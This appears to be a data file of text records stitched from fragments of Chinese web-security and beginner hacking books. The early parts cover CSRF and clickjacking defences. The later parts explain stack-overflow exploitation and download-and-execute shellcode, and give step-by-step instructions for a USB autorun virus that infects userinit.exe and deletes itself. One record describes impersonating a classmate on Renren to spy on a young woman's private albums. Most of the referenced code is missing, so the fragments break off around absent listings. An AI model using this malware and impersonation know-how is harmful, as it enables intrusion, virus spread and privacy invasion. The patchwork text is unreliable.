    {"text": "这样的解决方案比验证码的用户体验好很多，但是仍需要如下几种方式才能得到这样的token： 这个token唯一性不够好，能够被猜测到，如仅根据时间搓+用户ID md5后的结果，这样的token就可能被预测到。"},
    {"text": "对于判断Referer来说，虽然客户端带用户状态的跨域提交，JavaScript和ActionScript已经无法伪造Referer了，但对于客户端软件和Flash的提交，一般是不带Referer的，那么就需要为此开绿灯，但这样使得外站的Flash请求伪造无法被防御。"},
    {"text": "其实原理非常简单，与token也差不多：当表单提交时，用JavaScript在本域添加一个临时的Cookie字段，并将过期时间设为1秒之后再提交，服务端校验有这个字段即放行，没有则认为是CSRF攻击。 token防CSRF的原理是：无法通过AJAX等方式获得外域页面中的token值，XMLHttpRequest需要遵守浏览器同源策略；"},
    {"text": "下面看一个简单的demo： http://127.0.0.1/test.html: <script> function doit(){ var expires = new Date((new Date()).getTime()+1000); document.cookie = \"xeye=xeye; expires=\" + expires.toGMTString(); } </script> <form action=\"http://127.0.0.1/test.php\" name=\"f\" id=\"f\" onsubmit=\"doit();\" target=\"if1\"> <input type=\"button\" value=\"normal submit\" onclick=\"f.submit();\"> <input type=\"button\" value=\"with token\" onclick=\"doit();f.submit();\"> <input type=\"submit\" value=\"hook submit\"> </form> <iframe src=\"about:blank\" name=\"if1\" id=\"if1\"></iframe> http://127.0.0.1/test.php <?php echo \"<div>Cookies</div>\"; var_dump($_COOKIE); ?> test.html为浏览器端的表单，其中有三个按钮：第一个是正常的表单提交；"},
    {"text": "第二个是添加临时Cookie后提交表单； 第三个是以hook submit事件来添加临时Cookie并提交。 正常的表单提交不会出现临时Cookie字段，第二个和第三个按钮提交则会出现。"},
    {"text": "1. X-Frame-Options防御 X-Frame-Options是由微软提出来的防御界面操作劫持的一种方法，Web开发人员可以在HTTP响应头中加入一个X-Frame-Options头，浏览器会根据X-Frame-Options字段中的参数来判断页面是否可以被iframe嵌入，如图10-1所示。"},
    {"text": "如果是参数DENY，下面这个Frame_deny.php页面就不能被嵌入到<iframe>中。 <?php header (\"X-Frame-Options: DENY\"); ?> <b>Deny_test</b><br> 如果是参数SAMEORIGIN，那么下面这个Frame_same.php页面只能被嵌入在和其同源的页面中。 <?php header (\"X-Frame-Options: SAMEORIGIN\"); ?> <b>Same_test</b><br> 目前支持X-Frame-Options的浏览器如表10-2所示。 表10-2 支持X-Frame-Options的浏览器 以上面的Deny程序为例，设置Frame_test.php内容如下： <b>X-Frame-Options_test</b><br><iframe src=frame_deny.php width=500 height=300></iframe> 比如，IE 9下的防御提示如图10-2所示。"},
    {"text": "图10-2 IE 9浏览器防御界面操作劫持 2. Frame Busting脚本防御 防御操作劫持的另一种方法是使用JavaScript脚本来对页面进行控制，达到页面无法被iframe嵌入的目的，这样的防护脚本被称为Frame Busting脚本。"},
    {"text": "<script> if (top.location != self.location) { top.location=self.location; } </script> 代码中的top指代主体窗口对象，self指代当前窗口对象。 如果判断出页面的主体窗口地址与当前窗口地址不同，就将主体窗口地址设置为当前窗口地址。"},
    {"text": "但是，以上这段Frame Busting代码也存在一些问题：在IE浏览器下，如果我们在主体窗口中加入<script> var location=\"\" </script>这段代码，那么这段Frame Busting代码就会被突破。"},
    {"text": "Collin Jackson在2010年的 Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites 报告中，对Frame Busting脆弱性做了深入研究，讨论了10类Frame Busting被突破的情况，也列举了包括Yahoo、Facebook等知名网站Frame Busting被突破的真实案例。"},
    {"text": "所以在X-Frame-Options机制没有普及的情况下（例如，使用IE 6版本的浏览器的用户还有一些），我们大部分时间还是要依赖于使用JavaScript脚本来抵御界面操作劫持的，所以严格编写合格的Frame Busting代码，才能使防护更加安全。 下面给出一段目前防御性最高的Frame Busting代码，这段代码由Collin Jackson的报告中给出： <style> html {display:none;} </style> <script> if(self==top){ document.documentElement.style.display='block'; }else{ top.location=self.location; } </script> 3. 使用token进行防御 在业界主流的防御界面操作劫持攻击的方法中，似乎并没有提及防御CSRF中的token也可以对其进行防御。 比如，这样一个登录页面：http://url/login?idtoken=90dfOlk，如果攻击者无法猜测到idtoken后面的数值，那么这个登录页面就不能被iframe嵌入，进而也无法对这个页面实施界面操作劫持攻击。"},
    {"text": "1. 使用安全浏览器组合：Firefox浏览器+NoScript插件 NoScript插件由Web前端安全牛人Giorgio Maone主力研发，众多该领域牛人的贡献可谓是安全插件的精品，能防御DOM与反射型XSS、ClickJacking，能强制进行HTTPS请求等，还能默认拦截所有网站的JavaScript、Flash、Java等。 如果我们相信某个网站，就可以加入白名单，下次就不会再拦截，这个好处是，默认就阻止了攻击者放在不可信域上的攻击脚本，从阻止信息中可以看到是哪些域的脚本被拦截了，这样有利于我们定位判断是否是可疑的攻击，如图10-3所示的拦截。"},
    {"text": "图10-3 NoScript拦截提示 除了这些，还有一个非常强大的功能：ABE（Application Boundaries Enforcer），其实这个思想和前面介绍的CSP有一些相似之处。"},
    {"text": "如果想禁止针对*.baidu.com的来自任何外域的请求，在NoScript→选项→高级→ABE菜单中，自定义规则如下： Site *.baidu.com Accept GET POST from SELF Deny 外域来的任何请求都会被拦截，如图10-4所示。"},
    {"text": "攻击的各种技巧就是本书前面介绍的内容，加上社会工程学元素，SNS里的攻击很难被察觉，比如：当出现一个伪造的功能时，还以为是新增加的功能，被攻击者就会毫不犹豫地去尝试。 SNS里的攻击围绕着信任关系进行，其特点是：人们往往信任自己熟悉的人，信任程度的高低一般取决于熟悉的程度与目标本身的信誉。 所以这里的攻击就比较有意思了，如果被攻击者警惕性高，那么直接攻击成功的概率往往较小，如果第一步先攻击目标的好友（总会存在一些警惕性很低的好友），当获取权限后，再以这个好友的身份进行攻击，成功率就大多了。 如果这是在人人网的SNS中，获取某个好友的权限时，目标的很多隐私信息就都可以被正常查看了，比如个人丰富的资料、文章、相册、互动等。"},
    {"text": "这里看一个攻击案例就可知道了，如图10-5暴露的隐私信息与好友关系。 图10-5 暴露的隐私信息与好友关系 图10-5中，这个目标女生在人人网有一个关系圈子，几乎都是自己同校的同学，隐私设置很严密，同时，她在QQ朋友里也有一个很活跃的关系圈子，大部分都是自己的同学、好友、亲人等，我们的攻击目标是：查看这个女生在人人网的各种日志与相册。 我们在她的QQ朋友里发现几个不属于她在人人网关系圈内的同学，我们选择了其中一个认为可信的同学（称同学A，女生），运用社工元素获取了同学A的各种资料，大概知道了同学A的一些性格习惯，然后在人人网上注册了一个伪造账号，这个账号填写的各种信息让人一看就会认为是同学A，相册里甚至放上了同学A的几张照片，还写了两篇假设的文章，个人状态改写为“没控制住，开通人人网了，大家加我^_^”，然后开始添加同学A周边的各位同学（有大量的交集在目标女生的关系圈子中），这个过程是为了让这个伪造的账号看起来更真实，随后开始添加目标女生为好友，晚上通过了好友添加申请，顺利查看到了她的各种日志与相册。"},
    {"text": "歪曲、篡改、剽窃本作品的行为，均违反《中华人民共和国著作权法》，其行为人应承担相应的民事责任和行政责任，构成犯罪的，将被依法追究刑事责任。"},
    {"text": "为了维护市场秩序，保护权利人的合法权益，我社将依法查处和打击侵权盗版的单位和个人。 欢迎社会各界人士积极举报侵权盗版行为，本社将奖励举报有功人员，并保证举报人的信息不被泄露。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 入门篇 小小黑客之路：黑客工具、攻防及防火墙编程入门 第5回 警报！遭到扫描 一个开放的端口对计算机来说，就是一扇打开的门。端口扫描器对目标计算机的各个端口进行扫描，寻找其中对外开放的端口，从而找到网络入侵的突破口。 张飞长时间以来都想入侵曹操的电脑，做梦都想在曹操的机器上留下个“张飞大爷到此一游”记号，也好在大家面前炫耀一把。要入侵曹操机器的第一步自然是踩点——找到可以入侵的端口。于是张飞抄起键盘，编写了一个端口扫描器。还别说，黑张飞的黑客编程能力提高得还真快，他果然用自己编写的端口扫描器找到了曹操机器的几个薄弱端口。完事之后，张飞兴奋不已，忙不迭地向别人炫耀，有点得意忘形，甚至每天在自己的博客上公布曹操机器的可攻击端口。 曹操得知此事后，也是小吃一惊，想不到张飞还真有那么两把刷子，所幸目前还没有造成什么损害。曹操马上安装了防火墙，并特意将防火墙的防止端口扫描功能打开。隔日，张飞又来曹操机器踩点，端口扫描器却向张飞报告说该机器已然固若金汤、无懈可击。张飞这才悔恨莫及，回去还被诸葛亮骂了个狗血淋头，说他违背黑客守则，罚他放哨一个月。如今曹贼安了防火墙，自己辛苦一场编写的扫描器也成了鸡肋，还得日晒雨淋去放哨，张飞真是哭都哭不出来。 小小黑客之路：黑客工具、攻防及防火墙编程入门 严正声明 严正声明：本书所讨论的技术仅用于研究学习，旨在最大限度地唤醒大家的信息安全意识，提高信息安全防护技能，严禁用于非法活动。任何个人、团体、组织不得将其用于非法目的，违法犯罪必将受到法律的严厉制裁。 《中华人民共和国刑法》关于信息安全的条例 第二百五十三条之一 国家机关或者金融、电信、交通、教育、医疗等单位的工作人员，违反国家规定，将本单位在履行职责或者提供服务过程中获得的公民个人信息，出售或者非法提供给他人，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金。 第二百八十五条 违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。 违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。 提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。 第二百八十六条 违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，后果严重的，处五年以下有期徒刑或者拘役；后果特别严重的，处五年以上有期徒刑。 违反国家规定，对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作，后果严重的，依照前款的规定处罚。 故意制作、传播计算机病毒等破坏性程序，影响计算机系统正常运行，后果严重的，依照第一款的规定处罚。 第二百八十七条 利用计算机实施金融诈骗、盗窃、贪污、挪用公款、窃取国家秘密或者其他犯罪的，依照本法有关规定定罪处罚。 小小黑客之路：黑客工具、攻防及防火墙编程入门 反侵权盗版声明 电子工业出版社依法对本作品享有专有出版权。任何未经权利人书面许可，复制、销售或通过信息网络传播本作品的行为；歪曲、篡改、剽窃本作品的行为，均违反《中华人民共和国著作权法》，其行为人应承担相应的民事责任和行政责任，构成犯罪的，将被依法追究刑事责任。 为了维护市场秩序，保护权利人的合法权益，我社将依法查处和打击侵权盗版的单位和个人。欢迎社会各界人士积极举报侵权盗版行为，本社将奖励举报有功人员，并保证举报人的信息不被泄露。 举报电话：（010）88254396；（010）88258888 传 真：（010）88254397 E-mail：dbqq@phei.com.cn 通信地址：北京市万寿路173信箱 电子工业出版社总编办公室 邮 编：100036"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 军师，经历过上次的病毒事件以后，好像曹操这小子学聪明了，据说这个贼子装了杀毒软件、防火墙，简直是武装到了牙齿，咱可怎么办啊？"},
    {"text": "对，就是这样的，你不是想攻克武装到牙齿的曹贼吗，漏洞就是法宝了，你要是发现曹操机器上有个较为严重的远程溢出系统漏洞，你就可以直接远程利用，曹操在不知不觉间就会被侵入。"},
    {"text": "漏洞挖掘和利用可是一门高深的技术，甚至是一门艺术，这些都是顶级黑客才干得了的活，就凭你的水平，现在直接学习漏洞挖掘还为时甚早啊！"},
    {"text": "依照调用顺序，CPU首先会执行main()函数的代码，调用func1，然后转而执行func1()的代码，最后，再回到main()函数继续执行剩余代码。 在调用时如何传递参数，在调用完毕后，又如何返回main()函数继续执行，将在下面依次介绍。"},
    {"text": "main()函数： func1()函数： 在调用之前，栈的状态如图10.3所示。 图10.3 main()函数开始调用func1()时，首先压入了两个参数1和2，但是压入的顺序与C语言编写的顺序相反，也就是从最后一个参数开始压。"},
    {"text": "C语言中： 反汇编中： 其实不同的语言，或不同的编译器在参数传递时的方式是不同的，例如，C语言在编译后是从右往左压入参数，而BASIC和PASCAL等语言在编译后，则是从左往右压入参数。"},
    {"text": "如图10.5所示，是在CPU执行完“call (func1) (0040100f)”这一句后的堆栈状态。 图10.5 由上图可以看出，栈中又压入了一个元素“00 40 10 71”，这个数据正是“call (func1) (0040100f)”的下一句“add esp, 8”的指令地址。 “call (func1) (0040100f)”完成后，CPU转去执行func1()的代码，在func1()的开始处，首先执行了这两条指令： 这两句指令完成后，堆栈状态如图10.6所示。"},
    {"text": "这种堆栈平衡的工作在不同的语言之间也是有差异的，比如C语言是在调用函数中完成堆栈平衡的，而BASIC、PASCAL等语言则是在被调用函数内完成堆栈平衡的。"},
    {"text": "图10.9 军师，听你这么一说，栈的作用俺已经明白了，我发现这种设计相当巧妙地完成了函数的局部变量和调用问题，你给俺这么一解释，俺对局部变量和函数也有了更深的理解。"},
    {"text": "综合上述过程，若是几个函数依次嵌套调用（如main()函数调用func1()，fanc1()调用func2()，func2()调用func3()），则堆栈的状态如图10.10所示。"},
    {"text": "10.1.2 栈溢出原理及利用 在之前的例子中，局部字符串变量str在堆栈中的位置是在保存的main()函数的栈底和func1()的返回地址的位置之上，若向这个字符串复制一个大于三个字符的字符串（如“abcdefghigk”），则会出现如图10.11所示的情形。 图10.11 如上图所示，长的字符串已经将main()函数原栈底和func1()的返回地址给覆盖了，这种现象称之为栈溢出。"},
    {"text": "下面是一段含有栈溢出漏洞的代码： 很明显，这段代码有一个栈溢出，dest字符串只有8个字符（包括‘\\0’）的长度，如果要复制的src的长度超过8，就会出现栈溢出。"},
    {"text": "以上述代码为例，每次执行，dest的地址都会是0012FF78，因此可将ShellCode的第一句代码写在这个地址，然后调节ShellCode的长度，使其正好覆盖到main()函数的返回地址（如图10.14和图10.15所示）。 图10.14（覆盖前） 图10.15（覆盖后） 由图中可以看出，当CPU从main()函数返回时，在栈中读出返回地址，然而这个返回地址已被覆盖为ShellCode代码的开始部分，于是CPU便转去执行ShellCode的代码了。"},
    {"text": "哇，全是汇编啊，幸亏俺以前学过一点点，这些代码将就着能看懂。 没关系，后面还有很多代码都是用汇编直接编写的，将军慢慢理解。 哎～看来俺要再学习一下汇编了。"},
    {"text": "因为如此一来，编译后的ShellCode机器码中就会出现\\x00。 当ShellCode作为一个字符串被复制时，遇到\\x00就会停止，这样就会造成ShellCode只被复制了一半的情况。 因此，在编写ShellCode时，一定注意不要出现\\x00。"},
    {"text": "一般情况下，当一个应用程序加载一个系统的动态链接库后，该动态链接库的各个函数就会被加载到该应用程序虚拟内存空间的固定位置，通过调试以下代码，可以得到MessageBoxA在内存空间内的固定地址： 经过编译，将二进制代码整理出来，如下： 用以下代码测试一下这段机器码： 若不事先加载user32.dll，机器码中不会成功调用MessageBoxA()，所以要先加载这个动态链接库。"},
    {"text": "下面是修改后的含有堆栈溢出的代码： 为了使dest可以装下ShellCode，将其长度延长至64。 计算可以得出，ShellCode的长度为72（dest长度64+要覆盖的旧栈底的4个字节+返回地址4个字节）。"},
    {"text": "跳板一般是程序中原有的机器代码，它们都是跳转到一个寄存器内所存的地址进行执行，如jmp esp、call esp、jmp ecx、call ecx，等等，如果在函数返回的时候，CPU内寄存器刚好直接或间接指向ShellCode的开头，这样就可以把对栈内存放函数返回地址的那一个元素覆盖为相应跳板的地址，下面以jmp esp为例讲解。"},
    {"text": "jmp esp是一种比较灵活的方法，这种方法的特点是ShellCode在堆栈中的位置刚好位于返回地址的下方。 植入ShellCode后，存放返回地址的栈帧被覆盖为jmp esp这句代码的地址，这句代码并不存在于自己的ShellCode中，而是应用程序中本来就有的，如图10.18。"},
    {"text": "为了演示方便，再将代码修改一下： 为了达到图10.17的效果，重新安排ShellCode机器码： 用以上代码进行测试，效果如图10.19所示。 图10.19 3）其他方法 还有其他几种方法，读者可以自己去尝试，比如在ShellCode之前填充大量的nop指令而不覆盖返回地址，只要nop的数量足够多，函数返回时，就有可能返回到这些nop的范围内，这样依次向下执行，总会执行到ShellCode。"},
    {"text": "在查找函数地址时，要对函数导出表中的函数名做一一比较，但是各种函数名会在ShellCode中占用大量空间。 这么多函数名，放在ShellCode里，岂不是ShellCode会变得很长？"},
    {"text": "因此我们使用散列（hash）的方法把函数名缩短。 以下是一个得到字符串hash值的函数： 这样，不管函数名有多长，都可以缩减为4个字节的长度。"},
    {"text": "在具体查找时，先对函数导出表中的函数名进行hash运算，得到一个hash值，用此hash值与想要的函数的hash值进行对比，如此得到想要的函数地址。"},
    {"text": "下面要编写的ShellCode要调用三个API函数：MessageBoxA()（位于user32. dll中）、LoadLibraryA()（位于kernel32.dll中）和ExitProcess()（位于kernel32.dll中）。"},
    {"text": "图10.21 从ShellCode中获得hash值的汇编代码如下： 这一部分的起始代码与标准的C语言的函数调用类似，而要进行hash计算的函数名地址已经在跳转到这一部分前压入堆栈。"},
    {"text": "以下是获取函数地址的部分： 该部分的起始代码类似于一般函数，有一点需要说明：在第23行，这一句nop没有实际意义，但若没有这一句，第22行的机器代码就是“EB 00”，为避免出现“00”，加入nop，使22行的机器码变为“EB 01”。"},
    {"text": "图10.22 上图过程描述： 1）根据dll基址获得PE头的偏移（dll开头偏移0x3c处），偏移加上dll基址便是PE头的地址。 2）根据PE头的地址获取导出表的偏移（PE头偏移0x78处），该偏移加上dll基址便是导出表的地址。 3）根据导出表地址获取函数名索引偏移（导出表偏移0x20处），加上dll基址便是函数名导出表地址，计算对比hash值获取函数序号。 4）根据序号变换索引偏移（导出表偏移0x24），加上dll基址便是序号变换索引地址，根据上一步中的序号进行序号变换。 5）根据导出表地址获取函数偏移索引的偏移（导出表偏移0x1c处），加上dll的基址便是函数偏移导出表的地址，在地址中根据已变换的函数序号找到相应的函数偏移，再加上dll基址就是该函数在内存空间中的实际地址。 对于普通的动态链接库，调用LoadLibraryA()函数后的返回值就是该动态链接库的基址，但是LoadLibraryA()函数自身在kernel32.dll中，在调用它之前，必须先找kernel32.dll的基址，要找kernel32.dll的基址，又要先调用LoadLibraryA()函数，军师，这不死循环了么，这样永远也找不到LoadLibraryA()函数了。 其实kernel32.dll在每个应用程序中都是默认加载的，不用LoadLibraryA()函数也能找到它。 kernel32.dll基址的获得方法如图10.23所示。"},
    {"text": "图10.23 以上两段汇编代码就是查找函数地址部分代码，下面是函数调用部分的汇编代码： 第20～第25行，决定了执行的流程，bl存放着一个序号，这个序号与之前的流程图中的标号相对应。"},
    {"text": "至此，全部的ShellCode汇编代码已经编写完毕，下面是编译后的机器码： 供测试的应用程序代码如下： 在这里，依然使用jmp esp跳板来使CPU转向ShellCode，经过整理后的ShellCode如下： 这么长的代码啊～ 这只是个比较粗糙的ShellCode，真正的高手可以把这段代码压缩到180字节以内。"},
    {"text": "在实际应用中，确实没有多大的用处，但是，如果在ShellCode中用代码下载一个病毒或木马，或完成任何功能的应用程序，然后再将它们执行起来，那它的作用可就大了。"},
    {"text": "图10.24 以下是汇编代码： 将以上汇编代码放在main()函数里执行，成功将百度主页下载下来，并以文件名a.exe打开，由于a.exe并不是有效的可执行文件，结果如图10.25所示。 图10.25 将军你看，我把百度的主页下载下来并执行了，但是这个文件是个网页，不可执行，所以就出现了这种情况，等我换一个URL地址，下载一个可执行的给你看。"},
    {"text": "好，那我就给你分析一个曾经的系统漏洞MS06-040，MS06-040这个系统漏洞存在于netapi32.dll中的NetpwPathCanonicalize()函数中，这个漏洞在远程RPC调用过程中可能会被执行，因此可以被远程利用来执行恶意代码。"},
    {"text": "用VC6.0自带的工具dependency打开netapi32.dll，可以找到NetpwPathCanonicalize()函数，如图10.26所示。 图10.26 由上图可以看出，该函数的入口点偏移为“F7E2”，也可以编程找到netapi32.dll在内存中的基址为0x75170000，由此算出NetpwPathCanonicalize()函数在内存中的地址为0x7517E7E2，使用OllyDbg调试这段代码，在加载netapi32.dll后，将断点直接设在0x7517E7E2处，然后让程序执行。"},
    {"text": "图10.27 然后一步步step over，在执行到0x7517F856处的代码时，如图10.28所示。 图10.28 再向下执行程序就会跑飞，因此跟进这句“call 7517FC68”，直到这个函数的返回处，如图10.29所示。"},
    {"text": "图10.29 此时，堆栈已经溢出，在返回时，再跟进retn，就会发现eip寄存器被覆盖为0x61616161，即eip已经被arg1覆盖，更巧的是，ecx刚好指向arg4字符串开头，如果将arg4换成ShellCode，然后在此使用jmp ecx跳板或call ecx跳板，就可以使CPU跳向ShellCode执行。"},
    {"text": "其实仔细观察造成溢出的函数，会发现该函数在衡量arg1和arg2的长度时，用的是UNICODE字符串的标准，即两个字节为一个长度，而在开辟局部变量空间时，用的是ASCII码的标准，因此少开辟了一半的空间而造成了溢出。"},
    {"text": "确实，俺算是看出来了，漏洞这种东西出现的根本原因就是计算机最原始的设计者将数据和代码放在了一起，使得黑客可以将自己输入的数据作为代码来执行。"},
    {"text": "俺刚才还看了一下自己的系统的版本，发现还存在MS08-067那个漏洞，这要是让曹操给发现了，还了得，以后俺记住了，一定及时地修复系统漏洞，不给别的黑客机会入侵俺的系统。"},
    {"text": "我国刑法规定，故意制作、传播计算机病毒等破坏程序，影响计算机系统正常运行，后果严重的，依照破坏计算机信息系统罪定罪处罚。 9.1.1 U盘传播技术 病毒实现的要点在于传播技术、感染技术和自保护（自删除），我现在就一一讲述，你可要认真研习啊。"},
    {"text": "U盘传播是指病毒以U盘为载体进行传播，由于U盘结合了Windows的自动播放（Autorun）功能，导致U盘病毒数量与日俱增，因此，U盘病毒也被称为Autorun病毒。"},
    {"text": "是的，一旦将可移动存储设备接入电脑，Windows的自动播放功能就会进行读取操作，完成后同时显示一个对话框，要求你选择是否打开其中的视频、音频、图片文件。"},
    {"text": "【第1步】打开硬盘和U盘的自动播放 请将军在“开始”菜单的“运行”中输入“Regedit”，打开注册表编辑器。 如果将军使用的是Windows 7系统，则在“开始”菜单底部的“搜索程序与文件”栏中同样输入“Regedit”，单击搜索出来的“Regedit.exe”即可。 接下来展开主键：HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer（所有Windows系统，位置均相同），在右侧窗格中找到“NoDriveTypeAutorun”，如图9.1所示，就是这个键决定了是否打开各种磁盘驱动器的Autorun功能。 图9.1 “NoDriveTypeAutoRun”的默认键值为“145”，将军注意，这是十进制的数值，你现在双击“NoDriveTypeAutoRun”，在弹出的对话框中是不是可以看到它的默认键值为“91”（如图9.2所示）？"},
    {"text": "可以看到，默认情况下，Windows禁止80H、10H、01H这些设备自动运行，这些数值累加正好就是16进制的91H，这就是“NoDriveTypeAutorun”默认键值为91H的由来。"},
    {"text": "一般的U盘传播病毒会感染所有的固定驱动器（硬盘）和可移动驱动器（U盘），所以需要“NoDriveTypeAutorun”键值保持为默认的91H。 为了能够应对用户修改此键值的情况，U盘传播病毒在执行时自动对注册表进行修改。 咦，U盘的设备值是04H，04H+91H，你是说俺把这个键值直接改为95H，就可以禁用U盘的Autorun功能了？"},
    {"text": "我下面就给你看下我设计的Autorun的代码，这是一个注册表操作函数SetAutorun()，运行这段程序就可以修改注册表，从而把Autorun设置好，它的具体实现你应该能看懂。 【第2步】编写Autorun.inf文件 就是它，俺U盘里就有这么一个奇怪的文件，这个inf文件是干什么的呢？ Autorun.inf文件是自Windows 95以来一直存在的，最初用在安装盘里，实现自动安装功能，之后的各版本Windows操作系统都保留了该文件，并且其部分内容也可用于其他存储设备。"},
    {"text": "1）DefaultIcon 含义： 指定应用程序的默认图标。 格式： DefalutIcon=图标路径名[，序号] 参数： 图标路径名：应用程序的默认图标路径名，格式可以为.ico、.bmp、.exe、.dll。"},
    {"text": "当文件格式为.exe和.dll时，有时需要使用序号来指定图标。 序号：当格式为.exe和.dll时，文件可能包括多个图标，此时需要使用序号来指定图标，需要注意的是，序号从0开始。"},
    {"text": "2）Icon 含义： 指定设备显示图标。 格式： Icon=图标路径名[，序号] 参数： 图标路径名：提定的设备显示图标路径名，格式可以为.ico、.bmp、.exe、.dll。 当文件格式为.exe和.dll时，有时需要使用序号来指定图标。 序号：当文件格式为.exe和.dll时，文件可能包括多个图标，此时需要使用序号来指定图标，需要注意的是，序号是从0开始的。"},
    {"text": "备注： 设备描述将在Windows Explorer核心的驱动显示窗口中替代设备的默认描述卷标来显示。 在非Windows Explorer核心的驱动显示窗口中（如右击设备，选择“属性”命令）显示的仍然是设备的卷标。"},
    {"text": "4）Open 含义： 指定设备启用时，运行的命令行。 格式： Open=命令行（命令行格式：“程序路径名[参数]”） 参数： 命令行：自动运行的命令行，必须是.exe、.com、.bat文件，其他格式文件可以使用start.exe打开或使用ShellExecute命令。"},
    {"text": "5）ShellExecute 含义： 指定设备启用时的执行文件。 格式： ShellExecute=执行文件路径名[参数] 参数： 执行文件路径名：设备启用时，执行文件路径名，可以是任意格式文件。"},
    {"text": "6）Shell关键字Command 含义： 定义设备右键菜单执行命令行。 格式： Shell关键字Command=命令行（命令行格式：“程序路径名[参数]”） 参数： 命令行：自动运行的命令行，必须是.exe、.com、.bat文件，其他格式文件可以使用start.exe打开。"},
    {"text": "当不存在Open、ShellExecute与Shell命令时，设备启用时，运行第一个设备右键菜单指定命令。 8）Shell 含义： 定义设备启用时，运行的设备右键命令。 格式： Shell=关键字 参数： 关键字：标记过的菜单关键字。 备注： Shell指定的关键字可以在Autorun.inf文件的任意部分，OpenShellExecuteShell命令后定义的优先级高。"},
    {"text": "我直接使用前面介绍的命令就可以轻易地编写出劫持硬盘和U盘启动的Autorun.inf文件： 以上就是利用这些命令编写出的可以成功劫持硬盘和U盘启动的Autorun. inf文件。"},
    {"text": "病毒为了掩饰中毒现象还需模拟打开那些盘符的目录，原理很简单：判断当前运行的病毒文件所在的目录，然后使用ShellExecute()函数打开此目录即可。"},
    {"text": "2）SetFileAttributes()函数 功能： 设置文件属性。 参数： lpFileName：需要设置其属性的文件名。 dwFileAttributes：文件属性标志，一组带有FILE_ATTRIBUTE_前缀的标识符，这里用到的是FILE_ATTRIBUTE_SYSTEM和FILE_ATTRIBUTE_HIDDEN，分别代表系统、隐藏属性。"},
    {"text": "将军，你U盘中的病毒就是这样完成了U盘感染工作的，你来看看这段代码，运行这段程序就可以将程序自身复制到各个盘符，并设置好Autorun文件。"},
    {"text": "是啊，将军U盘中的病毒就是利用了这些技术，从而具备了传播的功能，如果你的U盘在别的电脑上使用过，就有可能成为该病毒的传播媒介，继续传播给其他电脑。"},
    {"text": "userinit.exe是Windows操作系统的一个关键进程，用于管理不同的启动顺序。 系统刚启动时，调出任务管理器就会看到userinit.exe，但过一段时间，系统各项加载完毕后，userinit.exe就会自动消失。"},
    {"text": "内存映射文件提供了一组独立的函数，使应用程序能够通过内存指针像访问内存一样对磁盘上的文件进行访问。 这组内存映射文件函数将磁盘上的文件的全部或者部分内容映射到进程虚拟地址空间的某个位置，以后对文件内容的访问就如同在该地址区域内直接对内存访问一样简单。"},
    {"text": "这样，对文件中数据的操作，便是直接对内存进行操作，大大地提高了访问的速度，对于计算机病毒来说，这种方法不仅大大提高了效率，还减少了资源占用。"},
    {"text": "（1）增加新区段 这个简单，将军一看就明白，下面就是实现代码。 （2）填充新增区段 请将军看下面的代码，其中的&EntryPoint和EndPoint分别代表Payload的开始地址和结束地址。"},
    {"text": "这段代码是结合SetFilePointer()函数和SetEndOfFile()函数进行操作的，用于确定文件的偏移量。 1）SetFilePointer()函数 功能： 在一个文件中设置当前的读写位置。"},
    {"text": "【第5步】保存修改内容 如果视图中的内存被修改，系统会在视图映射被撤销或文件映射对象被删除时，自动将数据写到磁盘上，当然，程序也可以根据需要将对文件的修改立即写到磁盘上。"},
    {"text": "在内存映射文件操作完毕并保存后，或者文件操作出现错误时，可以使用UnmapViewOfFile()函数来解除文件映射。 功能： 在当前应用程序的内存地址空间解除对一个文件映射对象的映射。 参数： lpBaseAddress：指定要解除映射的一个文件映射的基地址，这个地址是由MapViewOfFile()函数获得的。"},
    {"text": "【第3步】获取Kernel32.dll基地址 通过PEB（进程环境块）和Kernel32.dll的关系得到Kernel32.dll的基地址，具体的原理，将军可以看下下面的代码。"},
    {"text": "【第4步】搜索API函数地址 因为恶意代码是被注入到其他可执行文件的，其所需要的API函数并不能保证存在，所以需要进行动态的API函数地址搜索。"},
    {"text": "【第5步】加载shell32.dll 通过第4步获得LoadLibraryA()函数地址，即可加载shell32.dll，并返回shell32.dll在内存中的基地址。 【第6步】获得并执行ShellExecute() 通过第4步中获得GetProcAddress()函数地址，通过第5步获得shell32.dll的基地址，两者综合可以获得ShellExecute()函数地址，然后调用此函数可以完成打开网址的功能。"},
    {"text": "【第7步】跳回userinit.exe代码并执行 这些就是病毒在Payload部分所使用的技术，这样一个病毒就会具备文件感染的功能。 Payload不愧为病毒编写的精华，枉我这么聪明，也是瞅了半天才明白。 其实真正的高手在编写病毒时，文件感染部分一般是通过汇编语言来编写实现的，因为高级语言（如C\\C++等）在重定位实现方面确实很费周折，有兴趣的话，将军还是应该去学一下Win32汇编语言。"},
    {"text": "其原理是在可执行文件结束返回前，创建一个运行命令窗口的新进程，该命令窗口以隐藏方式执行，并通过传递参数执行删除功能。 为了避免可执行文件的映像还在内存中就执行删除，需要把当前进程设置为实时优先级，而命令窗口进程设置为很低的IDLE优先级，这样就能够在可执行文件结束返回后，再执行命令窗口的删除命令，实现该文件自身的删除功能，其代码和流程图如下。"},
    {"text": "【第1步】获取本进程名称 主要使用GetModuleFileName()函数、GetShortPathName()函数和GetEnvironmentVariable()函数。 1）GetModuleFileName()函数 功能： 获取一个应用程序的完整路径。 参数： hModule：要获取的应用程序的句柄，若为NULL，则为获取当前应用程序的完整路径。"},
    {"text": "2）GetShortPathName()函数 功能： 获得正常文件名的DOS8.3格式的短文件名。 参数： lpszLongPath：路径字符串，用来得到DOS8.3格式的短文件名。 lpszShortPath：用来存放得到的DOS8.3格式的短文件名的字符数组。"},
